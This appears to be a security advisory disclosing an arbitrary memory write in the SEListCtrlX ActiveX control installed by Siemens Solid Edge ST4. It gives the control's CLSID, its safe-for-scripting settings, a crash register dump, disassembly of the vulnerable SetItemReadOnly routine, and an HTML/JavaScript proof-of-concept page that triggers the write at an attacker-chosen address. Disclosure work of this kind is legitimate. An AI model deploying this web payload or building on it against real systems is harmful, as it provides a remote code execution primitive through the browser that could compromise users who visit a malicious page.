SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Control SetItemReadOnly
Arbitrary Memory Rewrite Remote Code Execution Vulnerability
tested against: Microsoft Windows Server 2003 r2 sp2
Microsoft Windows XP sp3
Internet Explorer 7/8
file tested: SolidEdgeV104ENGLISH_32Bit.exe
background:
the mentioned software installs an ActiveX control with
the following settings:
ActiveX settings:
ProgID: SELISTCTRLX.SEListCtrlXCtrl.1
CLSID: {5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}
binary path: C:\Program Files\Solid Edge ST4\Program\SEListCtrlX.ocx
Safe For Scripting (Registry): True
Safe For Initialization (Registry): True
Vulnerability:
This control exposes the SetItemReadOnly() method, see typelib:
...
/* DISPID=14 */
function SetItemReadOnly(
/* VT_VARIANT [12] */ $hItem,
/* VT_BOOL [11] */ $bReadOnly
)
{
}
...
(i)
By setting to a memory address the first argument
and the second one to 'false' you can write a NULL
byte inside an arbitrary memory region.
(ii)
By setting to a memory address the first argument
and the second one to 'true' you can write a \x08
byte inside an arbitrary memory region.
Example crash:
EAX 61616161
ECX 0417AB44
EDX 01B7F530
EBX 0000000C
ESP 01B7F548
EBP 01B7F548
ESI 0417A930
EDI 027D5DD0 SEListCt.027D5DD0
EIP 033FD158 control.033FD158
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD9000(4000)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -NAN FFFF FFFFFFFF FFFFFFFF
ST1 empty 3.3760355862290856960e-4932
ST2 empty +UNORM 48F4 00000000 00000000
ST3 empty -2.4061003025887744000e+130
ST4 empty -UNORM C198 00000000 00000000
ST5 empty 0.0
ST6 empty 1633771873.0000000000
ST7 empty 1633771873.0000000000
3 2 1 0 E S P U O Z D I
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Call stack of thread 000009B8
Address Stack Procedure / arguments Called from Frame
01B7F54C 027D5DF3 control.?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z SEListCt.027D5DED 01B7F548
01B7F560 787FF820 Includes SEListCt.027D5DF3 mfc100u.787FF81E 01B7F55C
01B7F56C 78807BF5 mfc100u.787FF810 mfc100u.78807BF0 01B7F618
01B7F61C 78808312 ? mfc100u.78807A5B mfc100u.7880830D 01B7F618
vulnerable code, inside the close control.dll:
...
;------------------------------------------------------------------------------
Align 4
?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z:
push ebp
mov ebp,esp
mov eax,[ebp+08h]
test eax,eax
jz L1011D15C
cmp dword ptr [ebp+0Ch],00000000h
jz L1011D158
or dword ptr [eax+2Ch],00000008h <-------------------- it crashes here
pop ebp
retn 0008h
;------------------------------------------------------------------------------
...
...
;------------------------------------------------------------------------------
L1011D158:
and dword ptr [eax+2Ch],FFFFFFF7h <-------------------- or here
L1011D15C:
pop ebp
retn 0008h
;------------------------------------------------------------------------------
...
As attachment, code to reproduce the crash.
<!-- saved from url=(0014)about:internet -->
<html>
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
</object>
<script language='javascript'>
//obj.SetItemReadOnly(0x61616161,false);
obj.SetItemReadOnly(0x61616161,true);
</script>
